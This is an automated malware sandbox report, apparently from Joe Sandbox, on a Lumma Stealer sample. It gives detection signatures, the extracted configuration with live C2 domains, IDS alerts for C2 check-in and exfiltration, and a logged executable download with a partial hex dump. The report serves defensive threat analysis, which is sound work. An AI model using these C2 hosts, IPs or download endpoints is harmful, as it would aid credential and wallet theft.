Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1555955
MD5:	68060fee433a31ea09a47eb9fc8bb755
SHA1:	486ebae4ee282981c54274193a7e30119eae5fa5
SHA256:	0865b4e2d69561a44f8dcf4da21af282a5796756ff6151f64f051246afdeb163
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5788 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 68060FEE433A31EA09A47EB9FC8BB755)

chrome.exe (PID: 2784 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1436 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1704,i,9159070330741597358,3160430356254121710,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7400 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7596 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1992,i,2836517617940349020,955072689301666391,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["thicktoys.sbs", "3xc1aimbl0w.sbs", "300snails.sbs", "faintbl0w.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 5788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5788	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-14T17:24:20.703930+0100	2028371	3	Unknown Traffic	192.168.2.6	49736	172.67.174.133	443	TCP
2024-11-14T17:24:22.075340+0100	2028371	3	Unknown Traffic	192.168.2.6	49744	172.67.174.133	443	TCP
2024-11-14T17:24:23.521226+0100	2028371	3	Unknown Traffic	192.168.2.6	49752	172.67.174.133	443	TCP
2024-11-14T17:24:24.997809+0100	2028371	3	Unknown Traffic	192.168.2.6	49762	172.67.174.133	443	TCP
2024-11-14T17:24:26.612239+0100	2028371	3	Unknown Traffic	192.168.2.6	49769	172.67.174.133	443	TCP
2024-11-14T17:24:28.409093+0100	2028371	3	Unknown Traffic	192.168.2.6	49780	172.67.174.133	443	TCP
2024-11-14T17:24:30.127399+0100	2028371	3	Unknown Traffic	192.168.2.6	49791	172.67.174.133	443	TCP
2024-11-14T17:24:35.542412+0100	2028371	3	Unknown Traffic	192.168.2.6	49820	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-14T17:24:21.306513+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49736	172.67.174.133	443	TCP
2024-11-14T17:24:22.571695+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49744	172.67.174.133	443	TCP
2024-11-14T17:24:36.031945+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49820	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-14T17:24:21.306513+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49736	172.67.174.133	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-14T17:24:22.571695+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49744	172.67.174.133	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-14T17:24:20.703930+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	49736	172.67.174.133	443	TCP
2024-11-14T17:24:22.075340+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	49744	172.67.174.133	443	TCP
2024-11-14T17:24:23.521226+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	49752	172.67.174.133	443	TCP
2024-11-14T17:24:24.997809+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	49762	172.67.174.133	443	TCP
2024-11-14T17:24:26.612239+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	49769	172.67.174.133	443	TCP
2024-11-14T17:24:28.409093+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	49780	172.67.174.133	443	TCP
2024-11-14T17:24:30.127399+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	49791	172.67.174.133	443	TCP
2024-11-14T17:24:35.542412+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.6	49820	172.67.174.133	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-14T17:24:36.954284+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49830	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-14T17:24:19.978284+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.6	54484	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-14T17:24:25.700022+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49762	172.67.174.133	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2482201310.00000000087C0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590203606.0000000006682000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:49762 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:49752 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:49744 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.6:54484 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:49791 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:49736 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:49820 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:49769 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.6:49780 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49736 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49762 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49736 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49820 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49744 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49744 -> 172.67.174.133:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: thicktoys.sbs
Source: Malware configuration extractor	URLs: 3xc1aimbl0w.sbs
Source: Malware configuration extractor	URLs: 300snails.sbs
Source: Malware configuration extractor	URLs: faintbl0w.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 14 Nov 2024 16:24:36 GMTContent-Type: application/octet-streamContent-Length: 2849280Last-Modified: Thu, 14 Nov 2024 16:00:54 GMTConnection: keep-aliveETag: "67361eb6-2b7a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 21 ab 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 61 72 63 77 6f 6f 66 00 20 2b 00 00 a0 00 00 00 1a 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6d 67 74 67 61 77 63 00 20 00 00 00 c0 2b 00 00 04 00 00 00 54 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.42 13.107.246.42
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49762 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49752 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49744 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49791 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49736 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49820 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49769 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49780 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49830 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
